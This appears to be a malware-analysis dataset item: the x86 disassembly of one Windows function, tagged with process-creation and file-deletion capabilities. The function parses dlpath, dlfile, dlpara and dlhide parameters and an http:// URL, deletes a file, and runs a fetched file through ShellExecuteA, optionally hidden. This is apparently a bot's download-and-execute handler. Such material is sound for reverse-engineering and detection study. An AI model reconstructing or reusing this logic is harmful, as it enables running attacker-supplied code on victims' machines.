Function at 0x40596b
Capabilities:
Create process on windows
Delete file

Disassembly:
mov eax, 0x417aec
call fcn.00407c70
sub esp, 0x38
push ebx
push esi
push edi
and dword [ebp - 4], 0
mov esi, 0x4205f4
push esi
lea ecx, [ebp - 0x1c]
call fcn.004104a3
push esi
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 1
call fcn.004104a3
push esi
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 2
call fcn.004104a3
push esi
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 3
call fcn.004104a3
push str.dlpath
lea ecx, [ebp + 8]
mov byte [ebp - 4], 4
call fcn.0040f7e0
mov edi, eax
or ebx, 0xffffffff
cmp edi, ebx
je 0x405a1b
push 1
lea ecx, [ebp + 8]
call fcn.0041071c
lea eax, [eax + edi + 7]
push eax
lea eax, [ebp - 0x24]
push eax
call fcn.00405024
pop ecx
pop ecx
push eax
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 5
call fcn.00410522
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 4
call fcn.00410479
push str.http:__
lea ecx, [ebp - 0x1c]
call fcn.0040f7e0
cmp eax, ebx
jne 0x405a1b
push esi
lea ecx, [ebp - 0x1c]
call fcn.00410572
push str.dlfile
lea ecx, [ebp + 8]
call fcn.0040f7e0
mov edi, eax
cmp edi, ebx
je 0x405a61
push 1
lea ecx, [ebp + 8]
call fcn.0041071c
lea eax, [eax + edi + 7]
push eax
lea eax, [ebp - 0x24]
push eax
call fcn.00405024
pop ecx
pop ecx
push eax
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 6
call fcn.00410522
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 4
call fcn.00410479
push esi
push dword [ebp - 0x1c]
call fcn.004085a8
pop ecx
test eax, eax
pop ecx
je 0x405c97
push esi
push dword [ebp - 0x18]
call fcn.004085a8
pop ecx
test eax, eax
pop ecx
je 0x405c97
push str.dluser
lea ecx, [ebp + 8]
call fcn.0040f7e0
mov edi, eax
cmp edi, ebx
je 0x405acd
push 1
lea ecx, [ebp + 8]
call fcn.0041071c
lea eax, [eax + edi + 7]
push eax
lea eax, [ebp - 0x24]
push eax
call fcn.00405024
pop ecx
pop ecx
push eax
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 7
call fcn.00410522
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 4
call fcn.00410479
push str.dlpara
lea ecx, [ebp + 8]
call fcn.0040f7e0
mov edi, eax
cmp edi, ebx
je 0x405b13
push 1
lea ecx, [ebp + 8]
call fcn.0041071c
lea eax, [eax + edi + 7]
push eax
lea eax, [ebp - 0x24]
push eax
call fcn.00405024
pop ecx
pop ecx
push eax
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 8
call fcn.00410522
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 4
call fcn.00410479
xor edi, edi
push str.dlcove
lea ecx, [ebp + 8]
mov dword [ebp - 0x24], edi
call fcn.0040f7e0
cmp eax, ebx
je 0x405b30
mov dword [ebp - 0x24], 1
lea eax, [ebp - 0x10]
push eax
call fcn.00404a59
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], 9
mov dword [esp], 0x41e138
call fcn.004106dd
lea eax, [ebp - 0x18]
lea ecx, [ebp - 0x10]
push eax
call fcn.00410704
push edi
push dword [ebp - 0x10]
call fcn.004088ab
pop ecx
cmp eax, ebx
pop ecx
je 0x405b70
cmp dword [ebp - 0x24], edi
je 0x405bf3
cmp dword [ebp - 0x24], edi
je 0x405b96
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x24]
push eax
call fcn.00410618
push dword [eax]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea ecx, [ebp - 0x24]
call fcn.00410479
lea ecx, [ebp - 0x44]
call fcn.00403332
push ebx
push edi
lea ecx, [ebp - 0x38]
mov byte [ebp - 4], 0xa
call fcn.0040fc76
lea eax, [ebp - 0x18]
lea ecx, [ebp - 0x38]
push eax
push dword [ebp - 0x30]
call fcn.0040fdeb
push 1
lea ecx, [ebp - 0x1c]
call fcn.00405ce1
push ecx
mov ecx, esp
mov dword [ebp - 0x24], esp
push eax
call fcn.004104a3
lea ecx, [ebp - 0x44]
call fcn.00403371
cmp eax, edi
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x44]
jne 0x405bee
call fcn.00403363
jmp 0x405c8b
call fcn.00403363
cmp dword [ebp + 0xc], edi
je 0x405c8b
lea eax, [ebp - 0x10]
lea ecx, [ebp + 0xc]
push eax
call fcn.0041020c
push esi
mov byte [ebp - 4], 0xb
push dword [ebp - 0x14]
call fcn.004085a8
pop ecx
test eax, eax
pop ecx
je 0x405c34
push 0x41e6e8
lea ecx, [ebp + 0xc]
call fcn.004106dd
lea eax, [ebp - 0x14]
lea ecx, [ebp + 0xc]
push eax
call fcn.00410704
push str.user
push dword [ebp - 0x20]
call fcn.004085a8
pop ecx
test eax, eax
pop ecx
jne 0x405c5a
push 1
lea ecx, [ebp + 0xc]
call fcn.0041071c
push eax
call fcn.00404232
pop ecx
jmp 0x405c7f
push str.dlhide
lea ecx, [ebp + 8]
call fcn.0040f7e0
cmp eax, ebx
je 0x405c6e
push edi
jmp 0x405c70
push 5
push edi
push dword [ebp - 0x14]
push dword [ebp - 0x10]
push edi
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
lea ecx, [ebp + 0xc]
mov byte [ebp - 4], 9
call fcn.00410479
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], 4
call fcn.00410479
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 3
call fcn.00410479
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 2
call fcn.00410479
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 1
call fcn.00410479
and byte [ebp - 4], 0
lea ecx, [ebp - 0x1c]
call fcn.00410479
lea ecx, [ebp + 8]
mov dword [ebp - 4], ebx
call fcn.00410479
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret